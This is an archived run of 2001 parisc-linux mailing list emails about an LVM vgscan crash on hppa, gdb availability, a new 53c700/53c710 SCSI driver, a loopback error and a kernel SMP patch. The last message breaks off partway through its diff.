This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 8 Oct 2001 16:22:34 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620586 27302 80.91.229.3 (22 Nov 2014 01:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, lvm-bugs@sistina.com
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 09:22:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5417E4864
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 09:22:41 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qcEk-0002DV-00; Mon, 08 Oct 2001 16:22:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1002553729.3bc1c18187924@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Oct 08, 2001 at 05:08:49PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12521

On Mon, Oct 08, 2001 at 05:08:49PM +0200, joel.soete@freebel.net wrote:
> Also I excute 'vgscan':
> Segmentation fault.
> 
> Oct  8 17:06:56 palinux kernel: do_page_fault() pid=201 command='vgscan' type=15 
> address=0xffffffec
> Oct  8 17:06:56 palinux kernel: vm_start = 0xfaf00000, vm_end = 0xfaf02000
> Oct  8 17:06:56 palinux kernel: 
> Oct  8 17:06:56 palinux kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> Oct  8 17:06:56 palinux kernel: PSW: 00000000000001000000000000001111
> Oct  8 17:06:56 palinux kernel: r0-3^I 00000000 401c757c 4003c507 faf006c0
> Oct  8 17:06:56 palinux kernel: r4-7^I 4006d0b8 0000003f 0002227c 00000001
> Oct  8 17:06:56 palinux kernel: r8-11^I 00000000 00000076 00000064 0000003f
> Oct  8 17:06:56 palinux kernel: r12-15^I 00011800 0002227c 00011800 0002227c
> Oct  8 17:06:56 palinux kernel: r16-19^I 0002227c 00000000 00014000 401c557c
> Oct  8 17:06:56 palinux kernel: r20-23^I 00000000 00000000 00000002 00000001
> Oct  8 17:06:56 palinux kernel: r24-27^I 0000001f 401c07d0 00010fff 0002227c
> Oct  8 17:06:56 palinux kernel: r28-31^I 00000000 00000000 faf00700 40154d23
> Oct  8 17:06:56 palinux kernel: sr0-3^I 00000000 000002b8 00000000 000002b8
> Oct  8 17:06:56 palinux kernel: sr4-7^I 000002b8 000002b8 000002b8 000002b8
> Oct  8 17:06:56 palinux kernel: 
> Oct  8 17:06:56 palinux kernel: IASQ: 000002b8 000002b8 IAOQ: 4015dc8b 4015dc8f
> Oct  8 17:06:56 palinux kernel:  IIR: 4a963fd9    ISR: 000002b8  IOR: ffffffec
> Oct  8 17:06:56 palinux kernel:  CPU:        0   CR30: 170d8000 CR31: 10358000
> Oct  8 17:06:56 palinux kernel:  ORIG_R28: 00000003

looks like a null pointer dereference in a shared library -- can't tell
which without seeing the maps for vgscan.  i recommend running vgscan
under gdb and seeing wht's going on.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 8 Oct 2001 16:27:07 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20011008162707.E28880@parcelfarce.linux.theplanet.co.uk>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620586 27308 80.91.229.3 (22 Nov 2014 01:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 09:27:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E0534864
	for <parisc-linux@parisc-linux.org>; Mon,  8 Oct 2001 09:27:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qcJ9-0002GU-00; Mon, 08 Oct 2001 16:27:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1002553729.3bc1c18187924@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Oct 08, 2001 at 05:08:49PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12522

Joel, please don't cc messages to both parisc-linux and sistina lists.
they have a bogus closed mailing list policy which means that people
replying to your email get annoying and offensive automatic emails.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 08 Oct 2001 17:53:17 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620587 27310 80.91.229.3 (22 Nov 2014 01:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:07 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 09:53:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC2F54851
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 09:53:24 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15qciT-0007JB-00; Mon, 08 Oct 2001 17:53:17 +0200
In-Reply-To: <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12523

Quoting Matthew Wilcox <willy@debian.org>:

> On Mon, Oct 08, 2001 at 05:08:49PM +0200, joel.soete@freebel.net wrote:
> > Also I excute 'vgscan':
> > Segmentation fault.
> > 
> > Oct  8 17:06:56 palinux kernel:  ORIG_R28: 00000003
> 
> looks like a null pointer dereference in a shared library -- can't tell
> which without seeing the maps for vgscan.  i recommend running vgscan
> under gdb and seeing wht's going on.

About gdb for hppa, may I use the one into 
"pehc /pub/parisc/binaries/debian/unofficial-debs/".

        joel

> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 8 Oct 2001 17:36:20 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk> <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620587 27313 80.91.229.3 (22 Nov 2014 01:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:07 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 10:36:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F37E74851
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 10:36:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qdO8-0003Ez-00; Mon, 08 Oct 2001 17:36:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Oct 08, 2001 at 05:53:17PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12524

On Mon, Oct 08, 2001 at 05:53:17PM +0200, joel.soete@freebel.net wrote:
> About gdb for hppa, may I use the one into 
> "pehc /pub/parisc/binaries/debian/unofficial-debs/".

Yes.  I don't know what the current status is of getting an official gdb
for PA/Linux is... Matt?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 8 Oct 2001 17:50:49 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20011008175049.K3745@parcelfarce.linux.theplanet.co.uk>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008183917.A15822@mathematik.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620587 27316 80.91.229.3 (22 Nov 2014 01:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: hgrothe@mathematik.tu-darmstadt.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 10:50:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24DB54851
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 10:50:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qdc9-0003Oi-00; Mon, 08 Oct 2001 17:50:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011008183917.A15822@mathematik.tu-darmstadt.de>; from hgrothe@mathematik.tu-darmstadt.de on Mon, Oct 08, 2001 at 06:39:17PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12525

On Mon, Oct 08, 2001 at 06:39:17PM +0200, hgrothe@mathematik.tu-darmstadt.de wrote:
> I guess :-) that you compiled the lvm-tools with optimization. Since 
> there seems to be a general problem with the lvm-tools and gcc3 (appears 
> also on other architectures (see lvm mailing list)) recompile the 
> lvm-tools without optimisation or "weak" optimisation (-O0).

-O0 is no optimisation, -O1 is weak optimisation and -O2 is most
optimisations.  This is normally a bug in the code, not the compiler...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 08 Oct 2001 11:14:17 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20011008171417.9B70237CC0@carmen.fc.hp.com>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> 
 <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk> 
 <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be>  <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620588 27317 80.91.229.3 (22 Nov 2014 01:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:08 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 11:14:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 133964841
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 11:14:26 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id ED14C2180; Mon,  8 Oct 2001 13:14:24 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 9B70237CC0; Mon,  8 Oct 2001 11:14:17 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 08 Oct 2001 17:36:20 BST." <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12526

Matthew Wilcox writes...

> On Mon, Oct 08, 2001 at 05:53:17PM +0200, joel.soete@freebel.net wrote:
> > About gdb for hppa, may I use the one into 
> > "pehc /pub/parisc/binaries/debian/unofficial-debs/".
> 
> Yes.  I don't know what the current status is of getting an official gdb
> for PA/Linux is... Matt?

Waiting for someone(Alan Modra?) to do a merge with upstream. Once that's done 
then the changes can be sent upstream as well as incorporated in the newly 
revived debian gdb package.

Alan's been too busy to do it but if there are any other gdb gods out there 
we'd love it if someone took this on.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Mon, 8 Oct 2001 23:09:49 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20011008230949.U11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620588 27319 80.91.229.3 (22 Nov 2014 01:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 16:08:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59E09482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 16:08:38 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1DF90B00C; Mon,  8 Oct 2001 23:09:49 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:12527

Hi,
  I've just added a new scsi driver for 53c700 and 53c710 chips to cvs.
This driver was written by James Bottomley for MCA machines, and has
been enhanced to support parisc as well.  It is intended that the
previous driver, sim700.c, will be removed once we are happy with
the new one.  The new one is 53c700.* plus lasi700.*.  I have left
the old driver in the source for the time being, but have commented out
its config question in drivers/scsi/Config.in. The CONFIG_ flag has
changed from CONFIG_SCSI_LASI to CONFIG_SCSI_LASI700.
You should certainly do at least a 'make oldconfig' once you pick up
these changes.

The main improvements in this driver are sync transfers (where the scsi
chip allows it) and tagged commands.  Also disconenct/reselect works
properly, so there is no longer any need to boot with sim700=nodisc:0xff
(or similar).

James and I have tested the driver on 712, 715/50, 715/75, B180, and
C360.  I have tested C360 with 32 and 64 bit kernels.

Please test this new drvier with your hardware and report back, if
I don't hear anything bad, the old driver will be removed.

Thanks,
  Richard





From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] New scsi driver for 53c700 and 53c710 committe
	d
Date: Tue, 9 Oct 2001 09:06:33 +1000
Lines: 59
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72B8E@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620588 27323 80.91.229.3 (22 Nov 2014 01:43:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 17:08:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45B79484B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 17:08:49 -0600 (MDT)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <SF56HW43>; Tue, 9 Oct 2001 09:06:34 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12528

So will this new driver work on the 735-series? Please tell me it's so...

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au


> -----Original Message-----
> From: Richard Hirst [mailto:rhirst@linuxcare.com]
> Sent: Tuesday, 9 October 2001 8:10 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] New scsi driver for 53c700 and 53c710 
> committed
> 
> 
> Hi,
>   I've just added a new scsi driver for 53c700 and 53c710 
> chips to cvs.
> This driver was written by James Bottomley for MCA machines, and has
> been enhanced to support parisc as well.  It is intended that the
> previous driver, sim700.c, will be removed once we are happy with
> the new one.  The new one is 53c700.* plus lasi700.*.  I have left
> the old driver in the source for the time being, but have 
> commented out
> its config question in drivers/scsi/Config.in. The CONFIG_ flag has
> changed from CONFIG_SCSI_LASI to CONFIG_SCSI_LASI700.
> You should certainly do at least a 'make oldconfig' once you pick up
> these changes.
> 
> The main improvements in this driver are sync transfers 
> (where the scsi
> chip allows it) and tagged commands.  Also disconenct/reselect works
> properly, so there is no longer any need to boot with 
> sim700=nodisc:0xff
> (or similar).
> 
> James and I have tested the driver on 712, 715/50, 715/75, B180, and
> C360.  I have tested C360 with 32 and 64 bit kernels.
> 
> Please test this new drvier with your hardware and report back, if
> I don't hear anything bad, the old driver will be removed.
> 
> Thanks,
>   Richard
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bad loopback error msg
Date: Mon, 8 Oct 2001 18:20:15 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200110090020.SAA01264@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620589 27325 80.91.229.3 (22 Nov 2014 01:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 18:23:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEA8F484B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 18:23:21 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id SAA01264
	for parisc-linux@lists.parisc-linux.org; Mon, 8 Oct 2001 18:20:15 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12529

Hi,

Helped someone install 0.9.2 on a B180 (serial console) and following
the instructions, basically got it up and running.  He needed some help
with setting up apt (pointing to HP internal mirror).

But I couldn't figure out what was causing the following error msg
to get printed on the console every minute or so:

    ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
    skb: pf=2 (unowned) dev=lo len=328
    PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

Any ideas?

This B180 is up-to-date but still running 2.4.0-32 vmlinux
(original kernels from 0.9.2 I think).

grant




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committe d
Date: Tue, 9 Oct 2001 01:40:02 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011009014002.B25819@parcelfarce.linux.theplanet.co.uk>
References: <A8566E157F5FD411BCFB00D0B7816D51C72B8E@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620589 27328 80.91.229.3 (22 Nov 2014 01:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt.VanDeWerken@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 18:40:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C70B484B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Oct 2001 18:40:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15qkwE-0001x7-00; Tue, 09 Oct 2001 01:40:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C72B8E@ntexchange.cat.csiro.au>; from Matt.VanDeWerken@csiro.au on Tue, Oct 09, 2001 at 09:06:33AM +1000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12530

On Tue, Oct 09, 2001 at 09:06:33AM +1000, Matt.VanDeWerken@csiro.au wrote:
> So will this new driver work on the 735-series? Please tell me it's so...

I presume you're talking about the fast-wide-differential scsi port?
That's a ncr720, not 700 or 710 chip.  The basic driver for that is fine,
but it doesn't recognise the chip as being something it should drive.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP now working again
Date: Tue, 9 Oct 2001 01:49:31 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20011009014931.C25819@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620589 27331 80.91.229.3 (22 Nov 2014 01:43:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  8 18:49:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 518F9484B
	for <parisc-linux@parisc-linux.org>; Mon,  8 Oct 2001 18:49:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ql5P-00025V-00
	for parisc-linux@parisc-linux.org; Tue, 09 Oct 2001 01:49:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12531

With the change I committed as 2.4.9-pa45, CONFIG_SMP works again.
For those with machines with discontiguous CPU numbers (eg an L2k with
only two processors), this further patch is required.  I think this is
masking a real bug which may cause problems at a later date, so I'm not
committing this workaround to CVS yet -- I'd rather find the real bug.

I've only tested on an L2k with 2 CPUs, so other testing would be
welcomed.  Thanks to jsm & grant for helping me with this.

Index: arch/parisc/kernel/processor.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/processor.c,v
retrieving revision 1.3
diff -u -p -r1.3 processor.c
--- processor.c	2001/10/06 08:00:03	1.3
+++ processor.c	2001/10/09 00:27:02
@@ -125,9 +125,9 @@ static int __init processor_probe(struct
 		txn_addr = dev->hpa;	/* for legacy PDC */
 
 		/* logical CPU ID and update global counter */
-		cpuid = boot_cpu_data.cpu_count;
 	}
 
+	cpuid = boot_cpu_data.cpu_count;
 	p = &cpu_data[cpuid];
 	boot_cpu_data.cpu_count++;

I also enabled EARLY_BOOTUP_DEBUG with the following patch to figure
out what was going on.
 
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.28
diff -u -p -r1.28 pdc_cons.c
--- pdc_cons.c	2001/06/20 14:16:10	1.28
+++ pdc_cons.c	2001/10/09 00:27:02
@@ -12,7 +12,7 @@
 
 /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
